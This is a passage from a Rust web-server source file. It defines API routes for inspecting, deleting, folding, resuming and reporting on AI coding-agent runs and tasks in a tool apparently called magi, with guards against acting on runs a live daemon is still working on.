4492    /// unconfirmed claim that no change was needed, which is exactly why it
4493    /// settles the task through `Held` rather than `Done` and still waits on
4494    /// a human to check the evidence; showing an older run as "finished
4495    /// elsewhere" on the strength of an unverified claim would bury the
4496    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4497    /// in-flight status are excluded because they are exactly the
4498    /// unresolved states this field exists to tell apart from a real finish.
4499    resolved: bool,
4500    /// The attempt's own recorded status, so the page can say where it
4501    /// stands while it is not resolved yet.
4502    status: RunStatus,
4503    /// Whether that status is terminal (nothing is still running it).
4504    done: bool,
4505}
4506
4507/// Markdown for the free-text prose of a run, parallel to `RunState`.
4508#[derive(Debug, Default, Serialize)]
4509struct RunProseMd {
4510    /// `None` when the run has no design deliberation.
4511    advice_md: Option<AdviceMd>,
4512    /// One entry per candidate: the summary.
4513    candidate_summaries_md: Vec<Vec<md::Node>>,
4514    /// One entry per review round, in `reviews` order.
4515    reviews_md: Vec<RoundMd>,
4516}
4517
4518#[derive(Debug, Default, Serialize)]
4519struct AdviceMd {
4520    synthesis: Vec<md::Node>,
4521    /// One per record; empty for a seat with no proposal.
4522    approaches: Vec<Vec<md::Node>>,
4523}
4524
4525#[derive(Debug, Default, Serialize)]
4526struct RoundMd {
4527    /// One per reviewer record.
4528    reviewers: Vec<ReviewerMd>,
4529    /// One per `reconsideration` entry: the reason.
4530    reconsideration: Vec<Vec<md::Node>>,
4531    fix: Option<FixMd>,
4532}
4533
4534#[derive(Debug, Default, Serialize)]
4535struct ReviewerMd {
4536    summary: Vec<md::Node>,
4537    /// One per finding, in recorded order (not the display order).
4538    findings: Vec<Vec<md::Node>>,
4539}
4540
4541#[derive(Debug, Default, Serialize)]
4542struct FixMd {
4543    notes: Vec<md::Node>,
4544    /// One per rejection: the argument.
4545    rejected: Vec<Vec<md::Node>>,
4546}
4547
4548/// Parse a run's agent-written prose; a pure function of the state.
4549fn run_prose_md(state: &RunState) -> RunProseMd {
4550    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4551    RunProseMd {
4552        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4553            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4554            approaches: a
4555                .records
4556                .iter()
4557                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4558                .collect(),
4559        }),
4560        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4561        reviews_md: state
4562            .reviews
4563            .iter()
4564            .map(|round| RoundMd {
4565                reviewers: round
4566                    .reviews
4567                    .iter()
4568                    .map(|rec| ReviewerMd {
4569                        summary: nodes(&rec.summary),
4570                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4571                    })
4572                    .collect(),
4573                reconsideration: round
4574                    .reconsideration
4575                    .iter()
4576                    .map(|rv| nodes(&rv.reason))
4577                    .collect(),
4578                fix: round.fix.as_ref().map(|fix| FixMd {
4579                    notes: nodes(&fix.notes),
4580                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4581                }),
4582            })
4583            .collect(),
4584    }
4585}
4586
4587impl RunDetailView {
4588    fn of(
4589        state: RunState,
4590        waiting: bool,
4591        live: crate::run::Liveness,
4592        superseded_by: Option<String>,
4593        latest_attempt: Option<LatestAttempt>,
4594        task: Option<TaskRef>,
4595    ) -> Self {
4596        let display_status = run_display_status(&state, waiting, live);
4597        let stop_reason = crate::stop_reason::of(
4598            &state,
4599            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4600        );
4601        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4602        Self {
4603            progress: crate::run_progress::build(&state, live, waiting),
4604            stop_reason,
4605            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4606            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4607            prose_md: run_prose_md(&state),
4608            origin_label: crate::run::origin_label(state.origin.as_ref()),
4609            live,
4610            unmerged_by_design: state.unmerged_by_design(),
4611            waiting,
4612            display_status,
4613            badge_status,
4614            done: state.status.done(),
4615            superseded_by,
4616            latest_attempt,
4617            task,
4618            state,
4619        }
4620    }
4621}
4622
4623/// Core content needs neither the queue nor question/liveness evidence.
4624async fn run_core(
4625    State(ui): State<Arc<Ui>>,
4626    Path(id): Path<String>,
4627) -> ApiResult<Json<RunDetailView>> {
4628    blocking(move || {
4629        let id = resolve_run(&ui.runs, &id)?;
4630        let state = read_run(&ui.runs, &id)?;
4631        Ok(Json(RunDetailView::of(
4632            state,
4633            false,
4634            crate::run::Liveness::Unknown,
4635            None,
4636            None,
4637            None,
4638        )))
4639    })
4640    .await
4641}
4642
4643/// Lightweight observation: never replaces the evidence used by controls.
4644async fn run_progress(
4645    State(ui): State<Arc<Ui>>,
4646    Path(id): Path<String>,
4647) -> ApiResult<Json<serde_json::Value>> {
4648    blocking(move || {
4649        let id = resolve_run(&ui.runs, &id)?;
4650        let state = read_run(&ui.runs, &id)?;
4651        let live = state.liveness(crate::daemon::is_working_on(
4652            &ui.home,
4653            &id,
4654            Timestamp::now(),
4655        ));
4656        let waiting = !ui.questions.open_for(&id).is_empty();
4657        Ok(Json(serde_json::json!({
4658            "id": id, "updated_at": state.updated_at, "live": live,
4659            "observed_at": Timestamp::now(),
4660            "progress": crate::run_progress::build(&state, live, waiting),
4661        })))
4662    })
4663    .await
4664}
4665
4666async fn run_detail(
4667    State(ui): State<Arc<Ui>>,
4668    Path(id): Path<String>,
4669) -> ApiResult<Json<RunDetailView>> {
4670    blocking(move || {
4671        let id = resolve_run(&ui.runs, &id)?;
4672        let state = read_run(&ui.runs, &id)?;
4673        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4674        let live = state.liveness(daemon_claims);
4675        crate::queue::record_ids(ui.questions.root(), "json")?;
4676        let waiting = ui
4677            .questions
4678            .list()
4679            .iter()
4680            .any(|q| q.run == id && q.status.open());
4681        let max_attempts = daemon::Opts::default().max_attempts;
4682
4683        let matching_task = ui.find_task_for_run(&id)?;
4684
4685        let superseded_by = state
4686            .pr_taken_over_by
4687            .clone()
4688            .or_else(|| {
4689                matching_task
4690                    .as_ref()
4691                    .and_then(|t| t.successor_of(&id).cloned())
4692            })
4693            .as_deref()
4694            .map(crate::run::short_of)
4695            .map(str::to_owned);
4696
4697        // Best-effort: an unreadable head (mid-write, or deleted) just means
4698        // this run's own status stands on its own, same as no later attempt
4699        // existing at all.
4700        let latest_attempt = matching_task
4701            .as_ref()
4702            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4703            .and_then(|head_id| {
4704                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4705                    short: head.short().to_owned(),
4706                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4707                    status: head.status,
4708                    done: head.status.done(),
4709                    id: head.id,
4710                })
4711            });
4712
4713        let task = matching_task
4714            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4715
4716        Ok(Json(RunDetailView::of(
4717            state,
4718            waiting,
4719            live,
4720            superseded_by,
4721            latest_attempt,
4722            task,
4723        )))
4724    })
4725    .await
4726}
4727
4728/// `DELETE /api/runs/{id}`.
4729///
4730/// Remove a finished, folded run directory along with its artifacts.
4731/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4732/// deleted. This never touches git worktrees or branches - except for a run
4733/// whose state this build cannot read at all, where there is no candidate
4734/// list to check and the wholesale removal `magi fold` already uses for that
4735/// case is the only meaningful "delete".
4736async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4737    let (id, unreadable) = {
4738        let ui = Arc::clone(&ui);
4739        blocking(move || {
4740            let id = resolve_run(&ui.runs, &id)?;
4741            match read_run(&ui.runs, &id) {
4742                Ok(_) => {
4743                    // The record's locks and the guards are judged on what is
4744                    // read under them (`clean::delete_run`): a fold in progress
4745                    // refuses the deletion rather than racing it.
4746                    crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4747                        |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4748                            Some(refused) => ApiError::conflict(refused.0.clone()),
4749                            None => ApiError::internal(format!("{e:#}")),
4750                        },
4751                    )?;
4752                    Ok((id, false))
4753                }
4754                Err(_) => {
4755                    // Unreadable: there is no candidate list to guard on, so
4756                    // a live daemon's claim is the only thing left to check -
4757                    // the same rule `run_fold` applies for the same reason.
4758                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4759                        return Err(ApiError::conflict(format!(
4760                            "run {id} is being worked on by a live daemon right now"
4761                        )));
4762                    }
4763                    Ok((id, true))
4764                }
4765            }
4766        })
4767        .await?
4768    };
4769    if unreadable {
4770        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4771            .await
4772            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4773    }
4774    let ui = Arc::clone(&ui);
4775    let done = id.clone();
4776    blocking(move || {
4777        // The agent that asked died with the run, so an open question would
4778        // keep asking the operator for a decision nobody can deliver.
4779        ui.questions.abandon_for_run(
4780            &done,
4781            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4782        )?;
4783        Ok(())
4784    })
4785    .await?;
4786    Ok(StatusCode::NO_CONTENT)
4787}
4788
4789/// `POST /api/runs/{id}/fold`.
4790///
4791/// Remove a run's candidate worktrees and branches, keeping its record.
4792///
4793/// This exists because the deck answered "delete this run" with *"Candidates
4794/// must be folded before deleting. Run `magi fold` first."* — a phone being
4795/// told to open a terminal, in the one product whose point is that it does
4796/// not need one. The runs an operator most wants gone are the stalled and
4797/// blocked ones, and those are exactly the runs still holding worktrees:
4798/// three of them here held 53 GB.
4799///
4800/// The winner's tree goes too. A fold is what someone asks for when they are
4801/// finished with a run, and leaving one tree behind would leave the delete
4802/// button disabled for the same reason as before.
4803///
4804/// Refused while a live daemon is working on the run, on the rule that guards
4805/// deletion: folding underneath a running agent would pull the tree it is
4806/// editing out from under it.
4807///
4808/// A run whose state this build cannot read at all falls back to
4809/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4810/// selectively, so the whole record's worktree goes wholesale, exactly what
4811/// `magi fold` does on the command line for the same run.
4812async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4813    let (id, state) = {
4814        let ui = Arc::clone(&ui);
4815        blocking(move || {
4816            let id = resolve_run(&ui.runs, &id)?;
4817            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4818                return Err(ApiError::conflict(format!(
4819                    "run {id} is being worked on by a live daemon right now"
4820                )));
4821            }
4822            crate::clean::ensure_record_identity(&ui.runs, &id)
4823                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4824            let state = match read_run(&ui.runs, &id) {
4825                Ok(state) => {
4826                    state
4827                        .ensure_directory(&id)
4828                        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4829                    Some(state)
4830                }
4831                Err(_) => None,
4832            };
4833            Ok((id, state))
4834        })
4835        .await?
4836    };
4837    let removed = match state {
4838        Some(mut state) => {
4839            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4840                .await
4841                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4842            // Nothing left to remove is not the same thing as nothing left to
4843            // do — see `clean::clear_abandoned_active`'s own doc for the run
4844            // this exists for: worktrees already gone, but a killed process
4845            // left active seats nobody will ever answer for.
4846            if removed.is_empty() {
4847                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4848                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4849            }
4850            removed
4851        }
4852        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4853            .await
4854            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4855    };
4856    Ok(Json(FoldView {
4857        run: id,
4858        removed_count: removed.len(),
4859        removed,
4860    }))
4861}
4862
4863/// What a fold took away, so the deck can say so rather than only re-render.
4864#[derive(Debug, Serialize)]
4865struct FoldView {
4866    run: String,
4867    /// Worktree paths and branch names removed, in the order they went.
4868    removed: Vec<String>,
4869    removed_count: usize,
4870}
4871
4872/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4873/// merged outside of `land::land`'s own loop.
4874#[derive(Debug, Deserialize)]
4875struct FoldMergedBody {
4876    #[serde(default)]
4877    pr_url: String,
4878}
4879
4880/// `POST /api/runs/{id}/fold-merged`.
4881///
4882/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4883/// `Blocked` with `merge: null` because magi never got as far as opening a
4884/// pull request of its own (a title over GitHub's length limit, `gh pr
4885/// create` unreachable, a stale token), which the operator then finished by
4886/// hand on a pull request magi never recorded. The "Run actions" sheet used
4887/// to have no way to tell it about that pull request short of a terminal and
4888/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4889/// this exists and what it deliberately does not do (`bump::after_merge`).
4890///
4891/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4892/// correction rewrites the same `status`/`merge` fields a running graph would
4893/// be writing to on its own.
4894///
4895/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4896/// calls plus a fold, seconds of work, and the phone should get its answer
4897/// (which pull request it recorded, and what changed) in the same round
4898/// trip rather than learning it from the change stream.
4899async fn run_fold_merged(
4900    State(ui): State<Arc<Ui>>,
4901    Path(id): Path<String>,
4902    Json(body): Json<FoldMergedBody>,
4903) -> ApiResult<Json<FoldMergedView>> {
4904    let pr_url = body.pr_url.trim().to_owned();
4905    if pr_url.is_empty() {
4906        return Err(ApiError::bad_request("pr_url is required"));
4907    }
4908    let (id, mut state) = {
4909        let ui = Arc::clone(&ui);
4910        blocking(move || {
4911            let id = resolve_run(&ui.runs, &id)?;
4912            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4913                return Err(ApiError::conflict(format!(
4914                    "run {id} is being worked on by a live daemon right now"
4915                )));
4916            }
4917            let state = read_run(&ui.runs, &id)?;
4918            state
4919                .ensure_directory(&id)
4920                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4921            Ok((id, state))
4922        })
4923        .await?
4924    };
4925    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4926        .await
4927        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4928    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4929        .await
4930        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4931    Ok(Json(FoldMergedView {
4932        run: id,
4933        before: before.as_str().to_owned(),
4934        after: after.as_str().to_owned(),
4935        removed,
4936    }))
4937}
4938
4939/// What [`run_fold_merged`] did, so the deck can say so.
4940#[derive(Debug, Serialize)]
4941struct FoldMergedView {
4942    run: String,
4943    /// `status` before the correction — normally `"blocked"`.
4944    before: String,
4945    /// `status` after — normally `"merged"`.
4946    after: String,
4947    /// Worktree paths and branch names the trailing fold removed.
4948    removed: Vec<String>,
4949}
4950
4951/// `POST /api/runs/{id}/resume`.
4952///
4953/// Carry a stalled run on from where it stopped, in the background.
4954///
4955/// A stalled card says "the work is kept" and used to offer no way to act on
4956/// that: the candidates are built and paid for, and continuing means re-asking
4957/// only the seats whose absence collapsed the panel. The alternative an
4958/// operator actually had was releasing the task, which competes three fresh
4959/// implementations against work that already exists.
4960///
4961/// **202, not 200.** A resume runs agents for minutes; holding the connection
4962/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4963/// phone learns the outcome from the change stream.
4964///
4965/// Refused when the loop is running at all, not merely when it is on this run.
4966/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4967/// started a second graph on top of whatever the loop is already driving —
4968/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4969/// allows — would spend that quota twice over for no extra throughput.
4970async fn run_resume(
4971    State(ui): State<Arc<Ui>>,
4972    Path(id): Path<String>,
4973) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4974    let admission = ui.begin_admission()?;
4975    admitted(admission, async move {
4976        let (id, state) = {
4977            let ui = Arc::clone(&ui);
4978            blocking(move || {
4979                let id = resolve_run(&ui.runs, &id)?;
4980                let state = read_run(&ui.runs, &id)?;
4981                Ok((id, state))
4982            })
4983            .await?
4984        };
4985        crate::resume::validate_unqueued(&ui.home, &id)
4986            .map_err(|e| ApiError::conflict(e.to_string()))?;
4987        let _resume = ui.begin_resume(&id)?;
4988
4989        crate::resume::start(&ui.home, id.clone())
4990            .await
4991            .map_err(ApiError::from)?;
4992        // The same shape the list route returns, so the phone updates the card it
4993        // already has rather than learning a second schema for one button.
4994        let queued = RunSummary::of(
4995            &state,
4996            !ui.questions.open_for(&id).is_empty(),
4997            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4998        );
4999        Ok((StatusCode::ACCEPTED, Json(queued)))
5000    })
5001    .await
5002}
5003
5004async fn run_report(
5005    State(ui): State<Arc<Ui>>,
5006    Path(id): Path<String>,
5007) -> ApiResult<impl IntoResponse> {
5008    let text = blocking(move || {
5009        let id = resolve_run(&ui.runs, &id)?;
5010        // Colour is off for the whole process, set once in `serve`. Rendering
5011        // is CPU work over the full state, which is the other reason this is
5012        // not on the executor.
5013        let state = read_run(&ui.runs, &id)?;
5014        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5015        let live = state.liveness(daemon_claims);
5016        Ok(format!(
5017            "{}{}",
5018            report::run(&state),
5019            report::active_seats(&state, live)
5020        ))
5021    })
5022    .await?;
5023    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
5024}
5025
5026/// The structured twin of [`run_report`]: the same state, as sections the UI
5027/// draws as cards. An unreadable run answers with the same error the text
5028/// route does; it is never turned into an empty report.
5029async fn run_report_json(
5030    State(ui): State<Arc<Ui>>,
5031    Path(id): Path<String>,
5032) -> ApiResult<Json<crate::report_view::RunReportView>> {
5033    let view = blocking(move || {
5034        let id = resolve_run(&ui.runs, &id)?;
5035        let state = read_run(&ui.runs, &id)?;
5036        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5037        // Only a record that lacks the structured details reads `artifacts/`.
5038        let recovered = state.graft.as_ref().map(|_| {
5039            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
5040        });
5041        Ok(crate::report_view::build_with(
5042            &state,
5043            state.liveness(daemon_claims),
5044            recovered.as_ref(),
5045        ))
5046    })
5047    .await?;
5048    Ok(Json(view))
5049}
5050
5051/// Archive access uses validated run-owned records, never a request-supplied path.
5052async fn run_seat_evidence(
5053    State(ui): State<Arc<Ui>>,
5054    Path(id): Path<String>,
5055) -> ApiResult<impl IntoResponse> {
5056    let id = resolve_run(&ui.runs, &id)?;
5057    let heads = crate::retention::seat_heads(&ui.home, &id)
5058        .await
5059        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5060    Ok(Json(heads))
5061}
5062
5063async fn run_seat_diff(
5064    State(ui): State<Arc<Ui>>,
5065    Path((id, head)): Path<(String, String)>,
5066) -> ApiResult<impl IntoResponse> {
5067    let id = resolve_run(&ui.runs, &id)?;
5068    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
5069        .await
5070        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5071    Ok((
5072        [
5073            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5074            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5075        ],
5076        patch,
5077    ))
5078}
5079
5080/// Most of a graft diff the route returns.
5081const GRAFT_DIFF_MAX: usize = 400 * 1024;
5082/// How long `git diff` may run.
5083const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
5084
5085/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
5086/// come from the run record, never from the request.
5087async fn run_graft_diff(
5088    State(ui): State<Arc<Ui>>,
5089    Path(id): Path<String>,
5090) -> ApiResult<impl IntoResponse> {
5091    let (repo, pre, post) = blocking(move || {
5092        let id = resolve_run(&ui.runs, &id)?;
5093        let state = read_run(&ui.runs, &id)?;
5094        let g = state
5095            .graft
5096            .as_ref()
5097            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
5098        let post = g
5099            .post
5100            .clone()
5101            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
5102        Ok((state.repo.clone(), g.pre.clone(), post))
5103    })
5104    .await?;
5105    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
5106    if !hex(&pre) || !hex(&post) {
5107        return Err(ApiError::not_found("the recorded commits are not valid"));
5108    }
5109    let out = tokio::time::timeout(
5110        GRAFT_DIFF_TIMEOUT,
5111        crate::git::git_raw(
5112            &repo,
5113            &[
5114                "diff",
5115                "--no-color",
5116                "--no-ext-diff",
5117                "-M",
5118                &pre,
5119                &post,
5120                "--",
5121            ],
5122        ),
5123    )
5124    .await
5125    .map_err(|_| ApiError::not_found("git diff timed out"))?
5126    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
5127    if out.code != Some(0) {
5128        return Err(ApiError::not_found(
5129            "the recorded commits are no longer in the repository",
5130        ));
5131    }
5132    let mut body = out.stdout;
5133    if body.len() > GRAFT_DIFF_MAX {
5134        let mut cut = GRAFT_DIFF_MAX;
5135        while !body.is_char_boundary(cut) {
5136            cut -= 1;
5137        }
5138        body.truncate(cut);
5139        body.push_str("\n... diff truncated ...");
5140    }
5141    Ok((
5142        [
5143            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5144            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5145        ],
5146        body,
5147    ))
5148}
5149
5150/// A task as the UI sees it.
5151///
5152/// The whole task, plus the two things the client would otherwise have to
5153/// reimplement: the human-readable source and the status string. Nothing is
5154/// removed - the phone shows `last_error` and the run history verbatim.
5155#[derive(Debug, Serialize)]
5156struct TaskView {
5157    #[serde(flatten)]
5158    task: Task,
5159    source_label: String,
5160    reassignment_notes: Vec<String>,
5161    source_link: Option<SourceLink>,
5162    status_str: &'static str,
5163    /// Fixed scheduling lane, ahead of ordinary priority order.
5164    upgrade_resume_at: Option<Timestamp>,
5165    /// The instruction, parsed as markdown, for the Queue card's "Full
5166    /// instruction" panel. `task.instruction` is unchanged and still carries
5167    /// the raw text.
5168    instruction_md: Vec<md::Node>,
5169    /// For a blocked task, what it waits on with each dependency's state, e.g.
5170    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5171    /// recurses; empty for every other status.
5172    waits_on: Vec<String>,
5173    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5174    /// behind - non-empty means nothing in the loop will ever run it.
5175    stuck_roots: Vec<String>,
5176    blockers: Vec<crate::blockers::BlockerView>,
5177    recovery: Option<String>,
5178    /// Shared read-only admission status (configured mode, active reservation
5179    /// lane, and concrete non-concurrency or capacity blocker).
5180    #[serde(skip_serializing_if = "Option::is_none")]
5181    admission: Option<daemon::TaskAdmission>,
5182}
5183
5184impl From<Task> for TaskView {
5185    fn from(task: Task) -> Self {
5186        Self {
5187            source_label: task.source_label(),
5188            reassignment_notes: Vec::new(),
5189            source_link: source_link(&task.source),
5190            status_str: task.status.as_str(),
5191            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5192            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5193            waits_on: Vec::new(),
5194            stuck_roots: Vec::new(),
5195            blockers: Vec::new(),
5196            recovery: task_recovery(&task),
5197            admission: None,
5198            task,
5199        }
5200    }
5201}
5202
5203impl TaskView {
5204    fn with_admission(
5205        mut self,
5206        snapshot: &daemon::AdmissionSnapshot,
5207        queue: &Queue,
5208        inv: Option<&crate::blockers::Inventory>,
5209        home: &std::path::Path,
5210    ) -> Self {
5211        self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5212        self
5213    }
5214
5215    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5216        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5217            let recovery = crate::triage::RecoveryIndex::load(questions);
5218            let pending = crate::blockers::Inventory::recovery_views(&self.task, &recovery);
5219            if !pending.is_empty() {
5220                self.recovery = Some(format!(
5221                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5222                    self.recovery.as_deref().unwrap_or_default()
5223                ));
5224            }
5225            for decision in pending {
5226                self.blockers.retain(|view| view.id != decision.id);
5227                self.blockers.push(decision);
5228            }
5229        }
5230        self
5231    }
5232
5233    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5234        let waits_on = inv.waits_on(&task);
5235        let stuck_roots = inv
5236            .stuck_roots(&task)
5237            .iter()
5238            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5239            .collect();
5240        Self {
5241            blockers: inv.blocker_views(&task),
5242            waits_on,
5243            stuck_roots,
5244            ..Self::from(task)
5245        }
5246    }
5247}
5248
5249fn task_recovery(task: &Task) -> Option<String> {
5250    use crate::queue::{HoldSource, TaskStatus};
5251    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5252        return None;
5253    }
5254    let mut text = String::new();
5255    if task.status == TaskStatus::Blocked {
5256        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5257        let restored = match task.blocked_from {
5258            Some(TaskStatus::Running) => TaskStatus::Queued,
5259            Some(status) => status,
5260            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5261            None => TaskStatus::Queued,
5262        };
5263        text.push_str(&format!(
5264            "After all dependencies resolve, the scheduler restores {}. ",
5265            restored.as_str()
5266        ));
5267        if restored != TaskStatus::Held {
5268            return Some(text);
5269        }
5270    }
5271    text.push_str(match task.hold_source {
5272        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5273        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5274            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5275        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5276        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5277    });
5278    Some(text)
5279}
5280
5281/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5282/// its absence, leaves the cache to decide.
5283#[derive(Debug, Default, Deserialize)]
5284#[serde(default)]
5285struct ReposQuery {
5286    refresh: u8,
5287}
5288
5289/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5290/// listing `magi repos` prints at a terminal.
5291///
5292/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5293/// so an edit to `magi.toml` takes effect without a restart, the same
5294/// reasoning [`config_for`] documents for the talk routes.
5295async fn repos_list(
5296    State(ui): State<Arc<Ui>>,
5297    Query(q): Query<ReposQuery>,
5298) -> ApiResult<Json<Vec<repos::Repo>>> {
5299    let refresh = q.refresh != 0;
5300    blocking(move || {
5301        let (cfg, _) = Config::discover(&ui.repo, None)?;
5302        Ok(Json(ui.repos_cache.list(
5303            &cfg.repos.roots,
5304            Duration::from_secs(cfg.repos.scan_ttl),
5305            refresh,
5306        )))
5307    })
5308    .await
5309}
5310
5311/// Optional context, restricted to the server's known checkouts.
5312#[derive(Debug, Default, Deserialize)]
5313struct SettingsQuery {
5314    repo: Option<PathBuf>,
5315}
5316
5317/// Always discover against the server's original context, never the selection.
5318/// If that config is broken, retain the default context and machine-only roots
5319/// so the settings error contract and recovery picker remain available.
5320fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5321    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5322        let paths: Vec<PathBuf> = ui
5323            .machine_config
5324            .iter()
5325            .filter(|p| p.is_file())
5326            .cloned()
5327            .collect();
5328        if paths.is_empty() {
5329            Ok(Config::autodetected())
5330        } else {
5331            Config::load_layers(&paths)
5332        }
5333    });
5334    let mut known = cfg
5335        .map(|cfg| {
5336            ui.repos_cache.list(
5337                &cfg.repos.roots,
5338                Duration::from_secs(cfg.repos.scan_ttl),
5339                refresh,
5340            )
5341        })
5342        .unwrap_or_default();
5343    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5344    if !known.iter().any(|r| r.path == path) {
5345        known.push(repos::Repo {
5346            name: path
5347                .file_name()
5348                .unwrap_or_default()
5349                .to_string_lossy()
5350                .into_owned(),
5351            path,
5352        });
5353    }
5354    known
5355}
5356
5357fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5358    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5359    let canonical = requested.canonicalize().ok();
5360    let mut known = settings_repositories(ui, false);
5361    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5362    if !known.iter().any(matches) {
5363        known = settings_repositories(ui, true);
5364    }
5365    let repo = known
5366        .iter()
5367        .find(|r| matches(r))
5368        .map(|r| r.path.clone())
5369        .ok_or_else(|| ApiError {
5370            text_reason: None,
5371            status: StatusCode::UNPROCESSABLE_ENTITY,
5372            message: "Choose a known repository from the Settings selector.".to_owned(),
5373        })?;
5374    Ok((repo, known))
5375}
5376
5377/// `GET /api/settings` - the effective role assignments and roster, with the
5378/// layer each came from. A config that fails to load answers 200 with an
